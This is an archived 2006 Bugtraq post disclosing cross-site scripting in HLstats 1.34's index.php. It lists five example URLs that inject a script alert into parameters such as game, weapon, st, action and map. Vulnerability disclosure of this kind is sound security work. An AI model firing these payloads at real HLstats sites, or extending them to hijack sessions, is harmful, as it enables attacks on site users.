bugtraq - XSS in HLstats 1.34

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <99e73caa0608300052r7628a887g4edc1d7c7208ee4f@mail.gmail.com>
Date: Wed, 30 Aug 2006 09:52:25 +0200
From: "MC Iglo" <mc.iglo@...glemail.com>
To: bugtraq@...urityfocus.com
Subject: XSS in HLstats 1.34

Hello, world ;)

Input passed to multiple parameters in index.php isn't properly
sanitised before being returned to the user. This can be exploited to
execute HTML and script code in a user's browser session in context of
an affected site with limitation of ' and ".
This may also affect prior versions.

Examples:
http://[host]/index.php?mode=players&game=%3Cscript%3Ealert(123)%3C/script%3E
http://[host]/index.php?mode=weaponinfo&weapon=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc
http://[host]/index.php?mode=search&q=whatever&st=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc
http://[host]/index.php?mode=actioninfo&action=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc
http://[host]/index.php?mode=mapinfo&map=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc

(instead of 'tfc' you should use the game, HLstats is configurated for)

kind regards
MC.Iglo